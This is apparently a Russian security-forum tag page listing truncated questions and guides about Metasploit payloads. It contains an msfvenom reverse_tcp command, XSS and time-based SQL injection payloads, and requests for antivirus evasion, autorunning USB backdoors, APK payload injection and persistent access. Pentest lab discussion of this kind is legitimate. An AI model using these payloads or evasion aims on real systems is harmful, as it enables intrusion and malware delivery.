payload

Доброго времени суток, дорогие посетители данной темы Недавно столкнулся с проблемой, что когда решил попробовать воспользоваться metasploit-framework за пределами локальной сети, вывел необходимость в TCP Туннелях. Хотел попробовать ngrok, но ему нужно привязать карту, при этом не русскую...

Всем привет! Подскажите что не так, The value specified for PAYLOAD is not valid недопустимое значение, а какое тогда допустимое?

Добрый день. Столкнулся с проблемой создания tcp тоннеля в metasploit. Имеется Компания Б, с подсетью 192.168.0.0/24 и подсетью VPN 172.1.1.0/24. VPN построен на Checkpoint. С моей стороны на компе Win 10 и установленным VPN соединением с компанией Б по VPN выдан ip 172.1.1.5 и видная вся...

Доброго времени суток, форумчане. Я столкнулся с проблемой, при пинтесте машины Love на платформе HackTheBox. Суть в том, что мне нужно получить удаленный доступ, через полезную нагрузку и metasploit. Вот как я это делал: msfvenom -p windows/meterpreter/reverse_tcp lport=1234 lhost=[myip] -f exe...

Пытаюсь пройти первую машину на Hack The Box. Hack The Box :: Penetration Testing Labs С помощью Gobuster вытащил файл, где сказано что сервер сделан на Drupal (Linux) Ну я давай искать в metasploit подходящий эксплоит, чего я только не пробовал - все одно и тоже. Как я понимаю, наиболее...

Здравствуйте дорогие форумчане, у меня вопрос как на флешку скинуть готовый backdoor сделанный через msfvenom на kali Чтобы при подключении её (флешки) к пк запускался пэйлоад Заранее всех благодарю

Проверка валидности email в форме ввода создания аккаунта Например validate/email?address= // payload - " ¼script¾alert(¢XSS¢)¼/script¾ " Проблема - мыло не проходит проверку на валидность Запрещенные символы : ; <> \ " () Вопрос есть ли способы обойти такую фильтрацию?

Здравствуйте, попробовала создать пэйлойд используя Msfvenom и зашифровала шифром ShikatGaNai, в общем смогла скрыть от Avast, но ESET жестко палит, собственно прошу вас ответить на следующий вопрос: как скрыть пэйлоуд от антивируса ESET? если можно опишите пожалуйста более подробно. P.S...

Собственно, суть вопроса в заголовке: Как получать соединения от юзера, который находится вне локальной сети?

Здравствуйте. Как sqlmap заставить использовать мой payload. Есть пайлоад, к примеру: )))/**/WAITFOR/**/DELAY/**/'0:0:5'/**/AND/**/(((8226=8226 под него с помощью atlas подобрал tamper space2randomblank как мне заставить sqlmap использовать именно этот пайлоад, а не перебирать свои?

а как подписан установленый пейлоад apk в android системе,имею ввиду com.android и тд. может кто знает?

Никак не пойму как прикрутить в Shellter свой payload в формате exe может кто сталкивался?

Добрый день,Уважаемые Форумчане и Друзья. Когда-то стали известны способы размещения вредоносного кода в изображении. Немногим позднее появилась атака Polyglot,когда вредоносный файл одновременно является изображением и JavaScript-кодом. В основном,это касалось файлов BMP,при этом,2 первых...

Привет Кодебай! Какие генераторы актуальны сейчас? (FatRat, Veil, Shellter не предлогать, паляться) и как прикрутить этот пэйлоад к эксплоиту ms17-10 в metasploit?

Доброго времени суток всем! На днях поставил Metasploit в Termux. При попытке добавить payload в уже существующий apk Metasploit пожаловался на отсутствие Zipalign. Нашёл много разных версий, но под aarch64 не было не одной. Буду благодарен за помощь в решении данного вопроса.

Сессия windows/meterpreter/reverse_tcp умирает при попытке портскана сети через proxy pivot. Т.е. пейлоад крашится на таргет хосте при большом кол-ве TCP соединений. В случае с reverse_http такого не происходит, но скорость скана очень низкая. Есть какое-то решение этой проблемы? Буду премного...

Exploit completed, but no session was created. Не получается создать сессию подскажите что делать ?? Гуглил там на не которых формуах говорили то что надо открыть порт, но порт открыть тоже не выходит ((

Открыть обратную шелл-сессию через NAT за 3 минуты — без единого проброшенного порта. Реально? Да! Берём Metasploit + Ngrok и показываем, как именно… Привет, codeby.net! В этом гайде покажу, как за пару минут поднять reverse shell на Windows (или любой другой ОС) через тандем Metasploit +...

Постоянный доступ к сети цели является одним из основных этапов в любой наступательной операции. Во время нашей деятельности мы используем различные типы маяков для повседневных операций. При сбое всех маяков они могут восстановить доступ к сети цели. Таким образом, маяк должен...